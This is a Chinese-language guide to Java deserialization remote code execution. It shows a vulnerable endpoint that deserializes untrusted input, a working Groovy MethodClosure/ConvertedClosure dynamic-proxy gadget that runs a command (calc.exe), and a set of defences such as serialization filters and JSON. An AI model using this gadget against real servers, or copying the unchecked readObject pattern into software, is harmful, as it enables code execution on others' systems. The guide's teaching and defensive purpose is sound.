Java远程代码执行漏洞分析与防御指南

1. Java相关特性回顾

1.1 多态性

多态是面向对象编程的核心特性之一，Java通过接口、抽象类和具体类实现多态：

• 一个接口可以有多个实现（如Map接口有HashMap、ConcurrentHashMap等实现）
• 类可以通过继承扩展功能
• final关键字可以阻止类被继承

public interface Map<K,V> {...}
public class HashMap<K,V> implements Map<K,V> {...}
public final class SecureMap<K,V> implements Map<K,V> {...}

1.2 序列化机制

Java提供了内置的序列化机制：

• 实现Serializable接口的类可以被序列化
• 使用ObjectOutputStream和ObjectInputStream进行序列化和反序列化
• 序列化会保存对象状态和类信息

public class Example implements Serializable {
    private Integer attribute;
    // 构造方法、getter等
}

// 序列化
Example ex = new Example(1);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(ex);
byte[] bytes = baos.toByteArray();

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
Example ex2 = (Example) ois.readObject();

1.3 反射机制

反射允许在运行时检查和修改程序行为：

• 获取类信息、方法、字段等
• 动态创建对象和调用方法
• 通过Proxy类创建动态代理

// 动态代理示例
Collection proxyCollection = (Collection) Proxy.newProxyInstance(
    Main.class.getClassLoader(),
    new Class<?>[]{Collection.class},
    (proxy, method, args) -> {
        // 自定义方法处理逻辑
        return null;
    }
);

2. 远程代码执行漏洞分析

2.1 漏洞场景

示例中存在漏洞的服务端代码：

@PostMapping("/submit")
public String submit(HttpServletRequest requestEntity) throws IOException, ClassNotFoundException {
    byte[] bytes = IOUtils.toByteArray(requestEntity.getInputStream());
    ObjectInputStream stream = new ObjectInputStream(new ByteArrayInputStream(bytes));
    Submission submission = (Submission) stream.readObject(); // 反序列化漏洞点
    return submission.toString();
}

Submission类定义：

public class Submission implements Serializable {
    private final Collection<String> values;
    
    public Submission(Collection<String> values) {
        this.values = values;
    }
    
    @Override
    public String toString() {
        StringBuilder sb = new StringBuilder();
        for (String entry : values) { // 会调用Collection的iterator()方法
            sb.append(entry);
            sb.append("\n");
        }
        return sb.toString();
    }
}

2.2 漏洞利用原理

1. 多态性利用：Submission类使用Collection接口，可以接受任何实现
2. 序列化漏洞：服务端无条件信任并反序列化客户端发送的数据
3. 反射机制：通过动态代理构造恶意Collection实现

2.3 漏洞利用步骤

初始尝试（失败）

private static Collection<String> makeExploitCollection() {
    return new ArrayList<String>(){
        @Override
        public Iterator iterator() {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {}
            return null;
        }
    };
}

问题：服务端找不到匿名类的字节码，抛出ClassNotFoundException

成功利用（使用Groovy库）

private static Collection<String> makeExploitCollection() {
    // 使用Groovy库中的类构造恶意对象
    MethodClosure methodClosure = new MethodClosure("calc.exe", "execute");
    ConvertedClosure iteratorHandler = new ConvertedClosure(methodClosure, "iterator");
    
    Collection exploitCollection = (Collection) Proxy.newProxyInstance(
        Client.class.getClassLoader(),
        new Class<?>[]{Collection.class},
        iteratorHandler
    );
    return exploitCollection;
}

原理：

1. MethodClosure：封装了执行系统命令的逻辑
2. ConvertedClosure：实现了InvocationHandler，将方法调用转发给闭包
3. 动态代理：创建一个实现了Collection接口的代理对象

3. 防御措施

3.1 输入验证

• 限制接受的Collection实现类型
• 对反序列化的类进行白名单验证
• 使用final修饰关键类防止继承

if (!(submission.getValues() instanceof ArrayList)) {
    throw new IllegalArgumentException("Invalid collection type");
}

3.2 避免Java原生序列化

• 使用JSON、Protobuf等更安全的序列化格式
• 禁用或限制Java原生序列化功能

// 使用Jackson进行JSON反序列化
ObjectMapper mapper = new ObjectMapper();
Submission submission = mapper.readValue(requestEntity.getInputStream(), Submission.class);

3.3 依赖管理

• 移除不必要的依赖（如示例中的Groovy）
• 保持依赖库更新到最新安全版本
• 使用最小权限原则运行服务

3.4 其他防护措施

1. JVM层面：

   • 设置SerializationFilter限制反序列化类

   ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("com.example.*;!*");
   ObjectInputFilter.Config.setSerialFilter(filter);
   

2. 代码层面：

   • 对关键类实现readObject方法进行验证

   private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
       in.defaultReadObject();
       // 添加验证逻辑
   }
   

3. 运行时防护：

   • 使用SecurityManager限制敏感操作
   • 在容器中以低权限用户运行服务

4. 总结

Java远程代码执行漏洞通常由以下因素共同导致：

1. 无条件信任客户端输入
2. 不安全的反序列化操作
3. 多态性被恶意利用
4. 反射机制被滥用
5. 存在可利用的第三方库

关键防御原则：

• 永远不要信任用户输入
• 使用最小权限原则
• 保持依赖更新
• 优先使用更安全的替代方案（如JSON替代Java原生序列化）
• 实施深度防御策略